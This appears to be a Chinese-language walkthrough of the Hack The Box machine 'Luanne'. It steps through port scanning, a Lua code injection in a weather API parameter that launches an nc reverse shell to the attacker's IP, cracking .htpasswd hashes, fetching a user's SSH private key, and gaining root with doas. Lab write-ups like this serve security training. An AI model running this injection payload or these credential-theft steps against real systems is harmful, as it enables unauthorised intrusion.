基本信息

https://www.hackthebox.eu/home/machines/profile/302
10.10.10.218

端口扫描

22,80,9001:

$ nmap -sC -sV 10.10.10.218
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-08 14:41 CST
Nmap scan report for 10.10.10.218
Host is up (0.067s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
|   3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
|   521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_  256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp   open  http    nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 202.72 seconds

80

需要认证信息，认证失败显示是3000端口：

9001

9001也是需要认证：

目录扫描

根据前面扫描结果，80端口有robots.txt，显示有/weather目录，但直接访问是404：

那就进一步目录扫描,得到结果：

1
2
3

gobuster dir -u http://10.10.10.218/weather/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 50

/forecast (Status: 200)

weather/forecast

直接访问给出提示信息，需要参数：

看起来就是一个天气预报API：

Lua代码注入

随意参数构造注入，得到报错，是Lua：

尝试闭合，可以执行其他lua代码：

reverse shell

那就是直接lua执行系统命令，得到reverse shell,注意需要url编码，因为有&字符影响,只把它编码成%26就可以：

1	http://10.10.10.218/weather/forecast?city=London');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\|/bin/sh -i 2>&1\|nc 10.10.14.5 4445 >/tmp/f")--

打到_httpd用户shell：

用户信息

.htpasswd

有个.htpasswd文件，里面有用户名和密码hash：

破解出来是’iamthebest’:

➜  Luanne sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
[sudo] password for miao:
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iamthebest       (?)
1g 0:00:00:00 DONE (2020-12-02 19:03) 25.00g/s 76800p/s 76800c/s 76800C/s secrets..ANTHONY
Use the "--show" option to display all of the cracked passwords reliably
Session completed

这个账号密码可以登录前面的80(用户名也说明了是webapi_user)：

port 3001

netstat发现3001端口，3000就是外面的80:

直接访问是401，前面得到的账号密码可以使用：

get id_rsa

3001不存在前面3000的代码注入，根据论坛一些提示信息可以得到用户私钥内容：

1
2
3

curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/.ssh/id_rsa

curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa

id_rsa

user flag

然后以r.michaels身份ssh登录，得到user.txt:

解释

这里太CTF了，正常基本不会有配置吧

1	/usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -U r.michaels -b /home/r.michaels/devel/

主要是因为apache的mod_userdir模块，r.michaels用户目录中有public_html目录，这样当访问~r.michaels时就相当于访问r.michaels/public_html

mod_userdir - Apache HTTP サーババージョン 2.4
https://httpd.apache.org/docs/2.4/mod/mod_userdir.html

直接：

1	curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/

也可以看到public_html下的id_rsa，然后直接去读：

提权信息

backups里面有个tar.gz.enc文件，需要先解密：

搜索发现这应该是gpg加密，服务器上也发现相关程序：

decrypt

解密后解压，因为这就是一个备份，那就还是先看.htpasswd，得到一个不同的hash：

netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output=/tmp/devel_backup-2020-09-16.tar.gz
cd /tmp
tar -xf devel_backup-2020-09-16.tar.gz
cd devel-2020-09-16
cd www
cat .htpasswd

破解出来密码：

➜  Luanne sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt
[sudo] password for miao:
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
littlebear       (?)
1g 0:00:00:00 DONE (2020-12-02 19:46) 1.041g/s 13600p/s 13600c/s 13600C/s tormenta..hello11
Use the "--show" option to display all of the cracked passwords reliably
Session completed

root flag

这个密码就是root密码，但su和sudo不能用，搜索文档发现可以用doas切到root,读取root.txt：

doas(1) - OpenBSD manual pages
https://man.openbsd.org/doas.1

参考资料

mod_userdir - Apache HTTP サーババージョン 2.4
https://httpd.apache.org/docs/2.4/mod/mod_userdir.html
doas(1) - OpenBSD manual pages
https://man.openbsd.org/doas.1
Hackthebox Luanne writeup | 0xDedinfosec
https://0xdedinfosec.github.io/posts/htb-luanne/

Luanne - HackTheBox

2020-12-08